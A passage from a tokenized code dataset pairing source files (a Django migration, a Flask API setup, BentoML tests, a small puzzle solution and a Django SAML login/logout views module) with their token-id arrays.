29946,
29906,
29900,
29900,
29892,
3495,
543,
29900,
29889,
29900,
29889,
29900,
29889,
29900,
1159,
13,
2
] |
space_manager/branches/migrations/0011_branch_minimap_img.py | yoojat/Space-Manager | 0 | 44242 | # -*- coding: utf-8 -*-
# Generated by Django 1.11.9 on 2018-05-03 14:34
from __future__ import unicode_literals
from django.db import migrations, models
import space_manager.branches.models
class Migration(migrations.Migration):
dependencies = [
('branches', '0010_branch_lounge_img_cabinet'),
]
operations = [
migrations.AddField(
model_name='branch',
name='minimap_img',
field=models.ImageField(null=True, upload_to='', validators=[space_manager.branches.models.Branch.validate_image]),
),
]
| [
1,
396,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
29937,
3251,
630,
491,
15337,
29871,
29896,
29889,
29896,
29896,
29889,
29929,
373,
29871,
29906,
29900,
29896,
29947,
29899,
29900,
29945,
29899,
29900,
29941,
29871,
29896,
29946,
29901,
29941,
29946,
13,
3166,
4770,
29888,
9130,
1649,
1053,
29104,
29918,
20889,
1338,
13,
13,
3166,
9557,
29889,
2585,
1053,
9725,
800,
29892,
4733,
13,
5215,
2913,
29918,
12847,
29889,
17519,
267,
29889,
9794,
13,
13,
13,
1990,
341,
16783,
29898,
26983,
800,
29889,
29924,
16783,
1125,
13,
13,
1678,
9962,
353,
518,
13,
4706,
6702,
17519,
267,
742,
525,
29900,
29900,
29896,
29900,
29918,
17519,
29918,
29880,
1309,
479,
29918,
2492,
29918,
29883,
370,
10157,
5477,
13,
1678,
4514,
13,
13,
1678,
6931,
353,
518,
13,
4706,
9725,
800,
29889,
2528,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
17519,
742,
13,
9651,
1024,
2433,
1195,
326,
481,
29918,
2492,
742,
13,
9651,
1746,
29922,
9794,
29889,
2940,
3073,
29898,
4304,
29922,
5574,
29892,
6441,
29918,
517,
2433,
742,
2854,
4097,
11759,
3493,
29918,
12847,
29889,
17519,
267,
29889,
9794,
29889,
29933,
4014,
29889,
15480,
29918,
3027,
11724,
13,
4706,
10353,
13,
1678,
4514,
13,
2
] |
app/__init__.py | meedan/alegre | 11 | 88120 | <reponame>meedan/alegre
# app/__init__.py
from flask_restplus import Api
from flask import Blueprint
from .main.controller.about_controller import api as about_ns
from .main.controller.healthcheck_controller import api as healthcheck_ns
from .main.controller.langid_controller import api as langid_ns
from .main.controller.similarity_controller import api as similarity_ns
from .main.controller.audio_transcription_controller import api as audio_transcription_ns
from .main.controller.audio_similarity_controller import api as audio_similarity_ns
from .main.controller.video_similarity_controller import api as video_similarity_ns
from .main.controller.bulk_similarity_controller import api as bulk_similarity_ns
from .main.controller.bulk_update_similarity_controller import api as bulk_update_similarity_ns
from .main.controller.translation_controller import api as translation_ns
from .main.controller.model_controller import api as model_ns
from .main.controller.image_similarity_controller import api as image_similarity_ns
from .main.controller.image_classification_controller import api as image_classification_ns
from .main.controller.image_ocr_controller import api as image_ocr_ns
from .main.controller.article_controller import api as article_ns
blueprint = Blueprint('api', __name__)
api = Api(blueprint,
title='Alegre API',
version='2.0',
description='A media analysis service'
)
api.add_namespace(about_ns, path='/about')
api.add_namespace(healthcheck_ns, path='/healthcheck')
api.add_namespace(model_ns, path='/model')
api.add_namespace(langid_ns, path='/text/langid')
api.add_namespace(similarity_ns, path='/text/similarity')
api.add_namespace(audio_transcription_ns, path='/audio/transcription')
api.add_namespace(audio_similarity_ns, path='/audio/similarity')
api.add_namespace(video_similarity_ns, path='/video/similarity')
api.add_namespace(bulk_similarity_ns, path='/text/bulk_similarity')
api.add_namespace(bulk_update_similarity_ns, path='/text/bulk_update_similarity')
api.add_namespace(translation_ns, path='/text/translation')
api.add_namespace(image_similarity_ns, path='/image/similarity')
api.add_namespace(image_classification_ns, path='/image/classification')
api.add_namespace(image_ocr_ns, path='/image/ocr')
api.add_namespace(article_ns, path='/article')
| [
1,
529,
276,
1112,
420,
29958,
1004,
287,
273,
29914,
744,
7979,
13,
29937,
623,
29914,
1649,
2344,
26914,
2272,
13,
13,
3166,
29784,
29918,
5060,
11242,
1053,
29749,
13,
3166,
29784,
1053,
10924,
2158,
13,
13,
3166,
869,
3396,
29889,
8299,
29889,
12717,
29918,
8299,
1053,
7882,
408,
1048,
29918,
1983,
13,
3166,
869,
3396,
29889,
8299,
29889,
354,
4298,
3198,
29918,
8299,
1053,
7882,
408,
9045,
3198,
29918,
1983,
13,
3166,
869,
3396,
29889,
8299,
29889,
3893,
333,
29918,
8299,
1053,
7882,
408,
6361,
333,
29918,
1983,
13,
3166,
869,
3396,
29889,
8299,
29889,
29764,
537,
29918,
8299,
1053,
7882,
408,
29501,
29918,
1983,
13,
3166,
869,
3396,
29889,
8299,
29889,
18494,
29918,
3286,
3395,
29918,
8299,
1053,
7882,
408,
10348,
29918,
3286,
3395,
29918,
1983,
13,
3166,
869,
3396,
29889,
8299,
29889,
18494,
29918,
29764,
537,
29918,
8299,
1053,
7882,
408,
10348,
29918,
29764,
537,
29918,
1983,
13,
3166,
869,
3396,
29889,
8299,
29889,
9641,
29918,
29764,
537,
29918,
8299,
1053,
7882,
408,
4863,
29918,
29764,
537,
29918,
1983,
13,
3166,
869,
3396,
29889,
8299,
29889,
8645,
29895,
29918,
29764,
537,
29918,
8299,
1053,
7882,
408,
21610,
29918,
29764,
537,
29918,
1983,
13,
3166,
869,
3396,
29889,
8299,
29889,
8645,
29895,
29918,
5504,
29918,
29764,
537,
29918,
8299,
1053,
7882,
408,
21610,
29918,
5504,
29918,
29764,
537,
29918,
1983,
13,
3166,
869,
3396,
29889,
8299,
29889,
3286,
18411,
29918,
8299,
1053,
7882,
408,
13962,
29918,
1983,
13,
3166,
869,
3396,
29889,
8299,
29889,
4299,
29918,
8299,
1053,
7882,
408,
1904,
29918,
1983,
13,
3166,
869,
3396,
29889,
8299,
29889,
3027,
29918,
29764,
537,
29918,
8299,
1053,
7882,
408,
1967,
29918,
29764,
537,
29918,
1983,
13,
3166,
869,
3396,
29889,
8299,
29889,
3027,
29918,
1990,
2450,
29918,
8299,
1053,
7882,
408,
1967,
29918,
1990,
2450,
29918,
1983,
13,
3166,
869,
3396,
29889,
8299,
29889,
3027,
29918,
8415,
29918,
8299,
1053,
7882,
408,
1967,
29918,
8415,
29918,
1983,
13,
3166,
869,
3396,
29889,
8299,
29889,
7914,
29918,
8299,
1053,
7882,
408,
4274,
29918,
1983,
13,
13,
9539,
2158,
353,
10924,
2158,
877,
2754,
742,
4770,
978,
1649,
29897,
13,
13,
2754,
353,
29749,
29898,
9539,
2158,
29892,
13,
3986,
3611,
2433,
29909,
1397,
276,
3450,
742,
13,
3986,
1873,
2433,
29906,
29889,
29900,
742,
13,
3986,
6139,
2433,
29909,
5745,
7418,
2669,
29915,
13,
3986,
1723,
13,
13,
2754,
29889,
1202,
29918,
22377,
29898,
12717,
29918,
1983,
29892,
2224,
2433,
29914,
12717,
1495,
13,
2754,
29889,
1202,
29918,
22377,
29898,
354,
4298,
3198,
29918,
1983,
29892,
2224,
2433,
29914,
354,
4298,
3198,
1495,
13,
2754,
29889,
1202,
29918,
22377,
29898,
4299,
29918,
1983,
29892,
2224,
2433,
29914,
4299,
1495,
13,
2754,
29889,
1202,
29918,
22377,
29898,
3893,
333,
29918,
1983,
29892,
2224,
2433,
29914,
726,
29914,
3893,
333,
1495,
13,
2754,
29889,
1202,
29918,
22377,
29898,
29764,
537,
29918,
1983,
29892,
2224,
2433,
29914,
726,
29914,
29764,
537,
1495,
13,
2754,
29889,
1202,
29918,
22377,
29898,
18494,
29918,
3286,
3395,
29918,
1983,
29892,
2224,
2433,
29914,
18494,
29914,
3286,
3395,
1495,
13,
2754,
29889,
1202,
29918,
22377,
29898,
18494,
29918,
29764,
537,
29918,
1983,
29892,
2224,
2433,
29914,
18494,
29914,
29764,
537,
1495,
13,
2754,
29889,
1202,
29918,
22377,
29898,
9641,
29918,
29764,
537,
29918,
1983,
29892,
2224,
2433,
29914,
9641,
29914,
29764,
537,
1495,
13,
2754,
29889,
1202,
29918,
22377,
29898,
8645,
29895,
29918,
29764,
537,
29918,
1983,
29892,
2224,
2433,
29914,
726,
29914,
8645,
29895,
29918,
29764,
537,
1495,
13,
2754,
29889,
1202,
29918,
22377,
29898,
8645,
29895,
29918,
5504,
29918,
29764,
537,
29918,
1983,
29892,
2224,
2433,
29914,
726,
29914,
8645,
29895,
29918,
5504,
29918,
29764,
537,
1495,
13,
2754,
29889,
1202,
29918,
22377,
29898,
3286,
18411,
29918,
1983,
29892,
2224,
2433,
29914,
726,
29914,
3286,
18411,
1495,
13,
2754,
29889,
1202,
29918,
22377,
29898,
3027,
29918,
29764,
537,
29918,
1983,
29892,
2224,
2433,
29914,
3027,
29914,
29764,
537,
1495,
13,
2754,
29889,
1202,
29918,
22377,
29898,
3027,
29918,
1990,
2450,
29918,
1983,
29892,
2224,
2433,
29914,
3027,
29914,
1990,
2450,
1495,
13,
2754,
29889,
1202,
29918,
22377,
29898,
3027,
29918,
8415,
29918,
1983,
29892,
2224,
2433,
29914,
3027,
29914,
8415,
1495,
13,
2754,
29889,
1202,
29918,
22377,
29898,
7914,
29918,
1983,
29892,
2224,
2433,
29914,
7914,
1495,
13,
2
] |
tests/__init__.py | coleb/sendoff | 2 | 6662 | """Tests for the `sendoff` library."""
"""
The `sendoff` library tests validate the expected function of the library.
"""
| [
1,
9995,
24376,
363,
278,
421,
6717,
2696,
29952,
3489,
1213,
15945,
13,
15945,
29908,
13,
1576,
421,
6717,
2696,
29952,
3489,
6987,
12725,
278,
3806,
740,
310,
278,
3489,
29889,
13,
15945,
29908,
13,
2
] |
tests/test_service_env.py | awesome-archive/BentoML | 0 | 149705 | <gh_stars>0
import os
import bentoml
def test_requirement_txt_env(tmpdir):
req_txt_file = tmpdir.join("requirements.txt")
with open(str(req_txt_file), 'wb') as f:
f.write(b"numpy\npandas\ntorch")
@bentoml.env(requirements_txt=str(req_txt_file))
class ServiceWithFile(bentoml.BentoService):
@bentoml.api(bentoml.handlers.DataframeHandler)
def predict(self, df):
return df
service_with_file = ServiceWithFile()
assert 'numpy' in service_with_file.env._pip_dependencies
assert 'pandas' in service_with_file.env._pip_dependencies
assert 'torch' in service_with_file.env._pip_dependencies
saved_path = service_with_file.save('/tmp')
with open(os.path.join(saved_path, 'requirements.txt'), 'rb') as f:
content = f.read().decode('utf-8')
assert 'numpy' in content
assert 'pandas' in content
assert 'torch' in content
def test_pip_dependencies_env():
@bentoml.env(pip_dependencies="numpy")
class ServiceWithString(bentoml.BentoService):
@bentoml.api(bentoml.handlers.DataframeHandler)
def predict(self, df):
return df
service_with_string = ServiceWithString()
assert 'numpy' in service_with_string.env._pip_dependencies
@bentoml.env(pip_dependencies=['numpy', 'pandas', 'torch'])
class ServiceWithList(bentoml.BentoService):
@bentoml.api(bentoml.handlers.DataframeHandler)
def predict(self, df):
return df
service_with_list = ServiceWithList()
assert 'numpy' in service_with_list.env._pip_dependencies
assert 'pandas' in service_with_list.env._pip_dependencies
assert 'torch' in service_with_list.env._pip_dependencies
def test_pip_dependencies_with_archive(tmpdir):
@bentoml.env(pip_dependencies=['numpy', 'pandas', 'torch'])
class ServiceWithList(bentoml.BentoService):
@bentoml.api(bentoml.handlers.DataframeHandler)
def predict(self, df):
return df
service_with_list = ServiceWithList()
saved_path = service_with_list.save(str(tmpdir))
requirements_txt_path = os.path.join(saved_path, 'requirements.txt')
with open(requirements_txt_path, 'rb') as f:
saved_requirements = f.read()
module_list = saved_requirements.decode('utf-8').split('\n')
assert 'numpy' in module_list
assert 'pandas' in module_list
assert 'torch' in module_list
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
2897,
13,
13,
5215,
26148,
290,
29880,
13,
13,
13,
1753,
1243,
29918,
12277,
358,
29918,
3945,
29918,
6272,
29898,
7050,
3972,
1125,
13,
1678,
12428,
29918,
3945,
29918,
1445,
353,
13128,
3972,
29889,
7122,
703,
12277,
1860,
29889,
3945,
1159,
13,
1678,
411,
1722,
29898,
710,
29898,
7971,
29918,
3945,
29918,
1445,
511,
525,
29893,
29890,
1495,
408,
285,
29901,
13,
4706,
285,
29889,
3539,
29898,
29890,
29908,
23749,
29905,
9302,
7086,
29905,
593,
25350,
1159,
13,
13,
1678,
732,
29890,
296,
290,
29880,
29889,
6272,
29898,
12277,
1860,
29918,
3945,
29922,
710,
29898,
7971,
29918,
3945,
29918,
1445,
876,
13,
1678,
770,
6692,
3047,
2283,
29898,
29890,
296,
290,
29880,
29889,
29933,
9239,
3170,
1125,
13,
4706,
732,
29890,
296,
290,
29880,
29889,
2754,
29898,
29890,
296,
290,
29880,
29889,
3179,
9306,
29889,
1469,
2557,
4598,
29897,
13,
4706,
822,
8500,
29898,
1311,
29892,
4489,
1125,
13,
9651,
736,
4489,
13,
13,
1678,
2669,
29918,
2541,
29918,
1445,
353,
6692,
3047,
2283,
580,
13,
1678,
4974,
525,
23749,
29915,
297,
2669,
29918,
2541,
29918,
1445,
29889,
6272,
3032,
13096,
29918,
22594,
13,
1678,
4974,
525,
15112,
29915,
297,
2669,
29918,
2541,
29918,
1445,
29889,
6272,
3032,
13096,
29918,
22594,
13,
1678,
4974,
525,
7345,
305,
29915,
297,
2669,
29918,
2541,
29918,
1445,
29889,
6272,
3032,
13096,
29918,
22594,
13,
13,
1678,
7160,
29918,
2084,
353,
2669,
29918,
2541,
29918,
1445,
29889,
7620,
11219,
7050,
1495,
13,
1678,
411,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
17314,
29918,
2084,
29892,
525,
12277,
1860,
29889,
3945,
5477,
525,
6050,
1495,
408,
285,
29901,
13,
4706,
2793,
353,
285,
29889,
949,
2141,
13808,
877,
9420,
29899,
29947,
1495,
13,
4706,
4974,
525,
23749,
29915,
297,
2793,
13,
4706,
4974,
525,
15112,
29915,
297,
2793,
13,
4706,
4974,
525,
7345,
305,
29915,
297,
2793,
13,
13,
13,
1753,
1243,
29918,
13096,
29918,
22594,
29918,
6272,
7295,
13,
1678,
732,
29890,
296,
290,
29880,
29889,
6272,
29898,
13096,
29918,
22594,
543,
23749,
1159,
13,
1678,
770,
6692,
3047,
1231,
29898,
29890,
296,
290,
29880,
29889,
29933,
9239,
3170,
1125,
13,
4706,
732,
29890,
296,
290,
29880,
29889,
2754,
29898,
29890,
296,
290,
29880,
29889,
3179,
9306,
29889,
1469,
2557,
4598,
29897,
13,
4706,
822,
8500,
29898,
1311,
29892,
4489,
1125,
13,
9651,
736,
4489,
13,
13,
1678,
2669,
29918,
2541,
29918,
1807,
353,
6692,
3047,
1231,
580,
13,
1678,
4974,
525,
23749,
29915,
297,
2669,
29918,
2541,
29918,
1807,
29889,
6272,
3032,
13096,
29918,
22594,
13,
13,
1678,
732,
29890,
296,
290,
29880,
29889,
6272,
29898,
13096,
29918,
22594,
29922,
1839,
23749,
742,
525,
15112,
742,
525,
7345,
305,
11287,
13,
1678,
770,
6692,
3047,
1293,
29898,
29890,
296,
290,
29880,
29889,
29933,
9239,
3170,
1125,
13,
4706,
732,
29890,
296,
290,
29880,
29889,
2754,
29898,
29890,
296,
290,
29880,
29889,
3179,
9306,
29889,
1469,
2557,
4598,
29897,
13,
4706,
822,
8500,
29898,
1311,
29892,
4489,
1125,
13,
9651,
736,
4489,
13,
13,
1678,
2669,
29918,
2541,
29918,
1761,
353,
6692,
3047,
1293,
580,
13,
1678,
4974,
525,
23749,
29915,
297,
2669,
29918,
2541,
29918,
1761,
29889,
6272,
3032,
13096,
29918,
22594,
13,
1678,
4974,
525,
15112,
29915,
297,
2669,
29918,
2541,
29918,
1761,
29889,
6272,
3032,
13096,
29918,
22594,
13,
1678,
4974,
525,
7345,
305,
29915,
297,
2669,
29918,
2541,
29918,
1761,
29889,
6272,
3032,
13096,
29918,
22594,
13,
13,
13,
1753,
1243,
29918,
13096,
29918,
22594,
29918,
2541,
29918,
10867,
29898,
7050,
3972,
1125,
13,
1678,
732,
29890,
296,
290,
29880,
29889,
6272,
29898,
13096,
29918,
22594,
29922,
1839,
23749,
742,
525,
15112,
742,
525,
7345,
305,
11287,
13,
1678,
770,
6692,
3047,
1293,
29898,
29890,
296,
290,
29880,
29889,
29933,
9239,
3170,
1125,
13,
4706,
732,
29890,
296,
290,
29880,
29889,
2754,
29898,
29890,
296,
290,
29880,
29889,
3179,
9306,
29889,
1469,
2557,
4598,
29897,
13,
4706,
822,
8500,
29898,
1311,
29892,
4489,
1125,
13,
9651,
736,
4489,
13,
13,
1678,
2669,
29918,
2541,
29918,
1761,
353,
6692,
3047,
1293,
580,
13,
1678,
7160,
29918,
2084,
353,
2669,
29918,
2541,
29918,
1761,
29889,
7620,
29898,
710,
29898,
7050,
3972,
876,
13,
13,
1678,
11780,
29918,
3945,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
17314,
29918,
2084,
29892,
525,
12277,
1860,
29889,
3945,
1495,
13,
1678,
411,
1722,
29898,
12277,
1860,
29918,
3945,
29918,
2084,
29892,
525,
6050,
1495,
408,
285,
29901,
13,
4706,
7160,
29918,
12277,
1860,
353,
285,
29889,
949,
580,
13,
4706,
3883,
29918,
1761,
353,
7160,
29918,
12277,
1860,
29889,
13808,
877,
9420,
29899,
29947,
2824,
5451,
28909,
29876,
1495,
13,
4706,
4974,
525,
23749,
29915,
297,
3883,
29918,
1761,
13,
4706,
4974,
525,
15112,
29915,
297,
3883,
29918,
1761,
13,
4706,
4974,
525,
7345,
305,
29915,
297,
3883,
29918,
1761,
13,
2
] |
2475.py | FelisCatusKR/Baekjoon_Python3 | 0 | 70709 | # 2475.py
print(sum([x*x for x in map(int,input().split())])%10) | [
1,
29871,
30143,
29937,
29871,
29906,
29946,
29955,
29945,
29889,
2272,
13,
2158,
29898,
2083,
4197,
29916,
29930,
29916,
363,
921,
297,
2910,
29898,
524,
29892,
2080,
2141,
5451,
3101,
2314,
29995,
29896,
29900,
29897,
2
] |
django_saml/views.py | zendesk/python3-saml-django | 20 | 133607 | import logging
from django.conf import settings
from django.contrib import auth
from django.core.exceptions import PermissionDenied
from django.http import HttpResponse, HttpResponseRedirect, HttpResponseServerError
from django.views.decorators.cache import never_cache
from django.views.decorators.csrf import csrf_exempt
from onelogin.saml2.auth import OneLogin_Saml2_Auth
from onelogin.saml2.utils import OneLogin_Saml2_Utils
logger = logging.getLogger('django_saml')
def prepare_django_request(request):
"""Extract data from a Django request in the way that OneLogin expects."""
result = {
'https': 'on' if request.is_secure() else 'off',
'http_host': request.META['HTTP_HOST'],
'script_name': request.META['PATH_INFO'],
'server_port': request.META['SERVER_PORT'],
'get_data': request.GET.copy(),
'post_data': request.POST.copy()
}
if settings.SAML_DESTINATION_HOST is not None:
result['http_host'] = settings.SAML_DESTINATION_HOST
if settings.SAML_DESTINATION_HTTPS is not None:
result['https'] = settings.SAML_DESTINATION_HTTPS
result['server_port'] = '443' if result['https'] else '80'
if settings.SAML_DESTINATION_PORT is not None:
result['server_port'] = settings.SAML_DESTINATION_PORT
return result
@never_cache
def login(request):
"""Kick off a SAML login request."""
req = prepare_django_request(request)
saml_auth = OneLogin_Saml2_Auth(req, old_settings=settings.ONELOGIN_SAML_SETTINGS)
if 'next' in request.GET:
redirect_to = OneLogin_Saml2_Utils.get_self_url(req) + request.GET['next']
else:
redirect_to = OneLogin_Saml2_Utils.get_self_url(req) + settings.SAML_LOGIN_REDIRECT
url = saml_auth.login(redirect_to)
request.session['AuthNRequestID'] = saml_auth.get_last_request_id()
return HttpResponseRedirect(url)
@never_cache
def logout(request):
"""Kick off a SAML logout request."""
req = prepare_django_request(request)
saml_auth = OneLogin_Saml2_Auth(req, old_settings=settings.ONELOGIN_SAML_SETTINGS)
name_id = request.session.get('samlNameId', None)
session_index = request.session.get('samlSessionIndex', None)
name_id_format = request.session.get('samlNameIdFormat', None)
name_id_nq = request.session.get('samlNameIdNameQualifier', None)
name_id_spnq = request.session.get('samlNameIdSPNameQualifier', None)
auth.logout(request)
url = saml_auth.logout(
name_id=name_id, session_index=session_index, nq=name_id_nq, name_id_format=name_id_format, spnq=name_id_spnq,
return_to=OneLogin_Saml2_Utils.get_self_url(req) + settings.SAML_LOGOUT_REDIRECT
)
request.session['LogoutRequestID'] = saml_auth.get_last_request_id()
return HttpResponseRedirect(url)
@never_cache
def saml_sls(request):
"""Handle a LogoutResponse from the IdP."""
if request.method != 'GET':
return HttpResponse('Method not allowed.', status=405)
req = prepare_django_request(request)
saml_auth = OneLogin_Saml2_Auth(req, old_settings=settings.ONELOGIN_SAML_SETTINGS)
request_id = request.session.get('LogoutRequestID', None)
try:
url = saml_auth.process_slo(request_id=request_id, delete_session_cb=lambda: request.session.flush())
errors = saml_auth.get_errors()
if len(errors) == 0:
auth.logout(request)
redirect_to = url or settings.SAML_LOGOUT_REDIRECT
return HttpResponseRedirect(redirect_to)
else:
logger.exception(saml_auth.get_last_error_reason())
return HttpResponse("Invalid request", status=400)
except UnicodeDecodeError:
# Happens when someone messes with the response in the URL. No need to log an exception.
return HttpResponse("Invalid request - Unable to decode response", status=400)
except Exception as e:
logger.exception(e)
return HttpResponse("Invalid request", status=400)
@never_cache
@csrf_exempt
def saml_acs(request):
"""Handle an AuthenticationResponse from the IdP."""
if request.method != 'POST':
return HttpResponse('Method not allowed.', status=405)
try:
req = prepare_django_request(request)
saml_auth = OneLogin_Saml2_Auth(req, old_settings=settings.ONELOGIN_SAML_SETTINGS)
request_id = request.session.get('AuthNRequestID', None)
saml_auth.process_response(request_id=request_id)
errors = saml_auth.get_errors()
if not errors:
user = auth.authenticate(session_data=saml_auth.get_attributes())
if user is None:
if settings.SAML_NO_USER_REDIRECT:
return HttpResponseRedirect(settings.SAML_NO_USER_REDIRECT)
raise PermissionDenied()
auth.login(request, user)
# This data is used during Single Log Out
request.session['samlNameId'] = saml_auth.get_nameid()
request.session['samlNameIdFormat'] = saml_auth.get_nameid_format()
request.session['samlNameIdNameQualifier'] = saml_auth.get_nameid_nq()
request.session['samlNameIdSPNameQualifier'] = saml_auth.get_nameid_spnq()
request.session['samlSessionIndex'] = saml_auth.get_session_index()
if 'RelayState' in req['post_data'] \
and OneLogin_Saml2_Utils.get_self_url(req) != req['post_data']['RelayState']:
url = saml_auth.redirect_to(req['post_data']['RelayState'])
return HttpResponseRedirect(url)
else:
return HttpResponseRedirect(settings.SAML_LOGIN_REDIRECT)
logger.exception(saml_auth.get_last_error_reason())
return HttpResponse(content="Invalid Response", status=400)
except PermissionDenied:
raise
except Exception as e:
logger.exception(e)
return HttpResponse(content="Invalid Response", status=400)
def metadata(request):
"""Render the metadata of this service."""
metadata_dict = settings.ONELOGIN_SAML_SETTINGS.get_sp_metadata()
errors = settings.ONELOGIN_SAML_SETTINGS.validate_metadata(metadata_dict)
if len(errors) == 0:
resp = HttpResponse(content=metadata_dict, content_type='text/xml')
else:
resp = HttpResponseServerError(content=', '.join(errors))
return resp
| [
1,
1053,
12183,
13,
13,
3166,
9557,
29889,
5527,
1053,
6055,
13,
3166,
9557,
29889,
21570,
1053,
4817,
13,
3166,
9557,
29889,
3221,
29889,
11739,
29879,
1053,
20894,
2333,
29315,
1000,
13,
3166,
9557,
29889,
1124,
1053,
9056,
5103,
29892,
9056,
5103,
24735,
29892,
9056,
5103,
6004,
2392,
13,
3166,
9557,
29889,
7406,
29889,
19557,
4097,
29889,
8173,
1053,
2360,
29918,
8173,
13,
3166,
9557,
29889,
7406,
29889,
19557,
4097,
29889,
2395,
9600,
1053,
5939,
9600,
29918,
735,
3456,
13,
3166,
373,
295,
468,
262,
29889,
29879,
8807,
29906,
29889,
5150,
1053,
3118,
11049,
29918,
29903,
8807,
29906,
29918,
6444,
13,
3166,
373,
295,
468,
262,
29889,
29879,
8807,
29906,
29889,
13239,
1053,
3118,
11049,
29918,
29903,
8807,
29906,
29918,
12177,
13,
13,
21707,
353,
12183,
29889,
657,
16363,
877,
14095,
29918,
29879,
8807,
1495,
13,
13,
13,
1753,
19012,
29918,
14095,
29918,
3827,
29898,
3827,
1125,
13,
1678,
9995,
5647,
1461,
848,
515,
263,
15337,
2009,
297,
278,
982,
393,
3118,
11049,
23347,
1213,
15945,
13,
1678,
1121,
353,
426,
13,
4706,
525,
991,
2396,
525,
265,
29915,
565,
2009,
29889,
275,
29918,
24216,
580,
1683,
525,
2696,
742,
13,
4706,
525,
1124,
29918,
3069,
2396,
2009,
29889,
2303,
6040,
1839,
10493,
29918,
20832,
7464,
13,
4706,
525,
2154,
29918,
978,
2396,
2009,
29889,
2303,
6040,
1839,
10145,
29918,
11690,
7464,
13,
4706,
525,
2974,
29918,
637,
2396,
2009,
29889,
2303,
6040,
1839,
18603,
29918,
15082,
7464,
13,
4706,
525,
657,
29918,
1272,
2396,
2009,
29889,
7194,
29889,
8552,
3285,
13,
4706,
525,
2490,
29918,
1272,
2396,
2009,
29889,
5438,
29889,
8552,
580,
13,
1678,
500,
13,
1678,
565,
6055,
29889,
8132,
1988,
29918,
2287,
1254,
1177,
8098,
29918,
20832,
338,
451,
6213,
29901,
13,
4706,
1121,
1839,
1124,
29918,
3069,
2033,
353,
6055,
29889,
8132,
1988,
29918,
2287,
1254,
1177,
8098,
29918,
20832,
13,
1678,
565,
6055,
29889,
8132,
1988,
29918,
2287,
1254,
1177,
8098,
29918,
10493,
29903,
338,
451,
6213,
29901,
13,
4706,
1121,
1839,
991,
2033,
353,
6055,
29889,
8132,
1988,
29918,
2287,
1254,
1177,
8098,
29918,
10493,
29903,
13,
4706,
1121,
1839,
2974,
29918,
637,
2033,
353,
525,
29946,
29946,
29941,
29915,
565,
1121,
1839,
991,
2033,
1683,
525,
29947,
29900,
29915,
13,
1678,
565,
6055,
29889,
8132,
1988,
29918,
2287,
1254,
1177,
8098,
29918,
15082,
338,
451,
6213,
29901,
13,
4706,
1121,
1839,
2974,
29918,
637,
2033,
353,
6055,
29889,
8132,
1988,
29918,
2287,
1254,
1177,
8098,
29918,
15082,
13,
1678,
736,
1121,
13,
13,
13,
29992,
484,
369,
29918,
8173,
13,
1753,
6464,
29898,
3827,
1125,
13,
1678,
9995,
29968,
860,
1283,
263,
16698,
1988,
6464,
2009,
1213,
15945,
13,
1678,
12428,
353,
19012,
29918,
14095,
29918,
3827,
29898,
3827,
29897,
13,
1678,
3514,
29880,
29918,
5150,
353,
3118,
11049,
29918,
29903,
8807,
29906,
29918,
6444,
29898,
7971,
29892,
2030,
29918,
11027,
29922,
11027,
29889,
12413,
14480,
1177,
29918,
8132,
1988,
29918,
10490,
29911,
4214,
29903,
29897,
13,
1678,
565,
525,
4622,
29915,
297,
2009,
29889,
7194,
29901,
13,
4706,
6684,
29918,
517,
353,
3118,
11049,
29918,
29903,
8807,
29906,
29918,
12177,
29889,
657,
29918,
1311,
29918,
2271,
29898,
7971,
29897,
718,
2009,
29889,
7194,
1839,
4622,
2033,
13,
1678,
1683,
29901,
13,
4706,
6684,
29918,
517,
353,
3118,
11049,
29918,
29903,
8807,
29906,
29918,
12177,
29889,
657,
29918,
1311,
29918,
2271,
29898,
7971,
29897,
718,
6055,
29889,
8132,
1988,
29918,
14480,
1177,
29918,
1525,
4571,
26282,
13,
1678,
3142,
353,
3514,
29880,
29918,
5150,
29889,
7507,
29898,
17886,
29918,
517,
29897,
13,
1678,
2009,
29889,
7924,
1839,
6444,
29940,
3089,
1367,
2033,
353,
3514,
29880,
29918,
5150,
29889,
657,
29918,
4230,
29918,
3827,
29918,
333,
580,
13,
1678,
736,
9056,
5103,
24735,
29898,
2271,
29897,
13,
13,
13,
29992,
484,
369,
29918,
8173,
13,
1753,
1480,
449,
29898,
3827,
1125,
13,
1678,
9995,
29968,
860,
1283,
263,
16698,
1988,
1480,
449,
2009,
1213,
15945,
13,
1678,
12428,
353,
19012,
29918,
14095,
29918,
3827,
29898,
3827,
29897,
13,
1678,
3514,
29880,
29918,
5150,
353,
3118,
11049,
29918,
29903,
8807,
29906,
29918,
6444,
29898,
7971,
29892,
2030,
29918,
11027,
29922,
11027,
29889,
12413,
14480,
1177,
29918,
8132,
1988,
29918,
10490,
29911,
4214,
29903,
29897,
13,
1678,
1024,
29918,
333,
353,
2009,
29889,
7924,
29889,
657,
877,
29879,
8807,
1170,
1204,
742,
6213,
29897,
13,
1678,
4867,
29918,
2248,
353,
2009,
29889,
7924,
29889,
657,
877,
29879,
8807,
7317,
3220,
742,
6213,
29897,
13,
1678,
1024,
29918,
333,
29918,
4830,
353,
2009,
29889,
7924,
29889,
657,
877,
29879,
8807,
1170,
1204,
5809,
742,
6213,
29897,
13,
1678,
1024,
29918,
333,
29918,
29876,
29939,
353,
2009,
29889,
7924,
29889,
657,
877,
29879,
8807,
1170,
1204,
1170,
24399,
3709,
742,
6213,
29897,
13,
1678,
1024,
29918,
333,
29918,
1028,
29876,
29939,
353,
2009,
29889,
7924,
29889,
657,
877,
29879,
8807,
1170,
1204,
5550,
1170,
24399,
3709,
742,
6213,
29897,
13,
1678,
4817,
29889,
1188,
449,
29898,
3827,
29897,
13,
1678,
3142,
353,
3514,
29880,
29918,
5150,
29889,
1188,
449,
29898,
13,
4706,
1024,
29918,
333,
29922,
978,
29918,
333,
29892,
4867,
29918,
2248,
29922,
7924,
29918,
2248,
29892,
302,
29939,
29922,
978,
29918,
333,
29918,
29876,
29939,
29892,
1024,
29918,
333,
29918,
4830,
29922,
978,
29918,
333,
29918,
4830,
29892,
805,
29876,
29939,
29922,
978,
29918,
333,
29918,
1028,
29876,
29939,
29892,
13,
4706,
736,
29918,
517,
29922,
6716,
11049,
29918,
29903,
8807,
29906,
29918,
12177,
29889,
657,
29918,
1311,
29918,
2271,
29898,
7971,
29897,
718,
6055,
29889,
8132,
1988,
29918,
14480,
12015,
29918,
1525,
4571,
